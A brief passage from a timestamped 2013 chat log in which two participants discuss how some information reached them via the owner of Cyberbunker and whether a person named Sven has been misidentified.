WebExxpurts: nonsense reports [26.04.2013 22:21:20] Erik Bais: I got it from Xennt [26.04.2013 22:21:45] Erik Bais: the owner of Cyberbunker. he got it linked by someone (I don't know who. ) [26.04.2013 22:24:55] WebExxpurts: i m sure that sven is mistaken identity and authority have made mistake [END]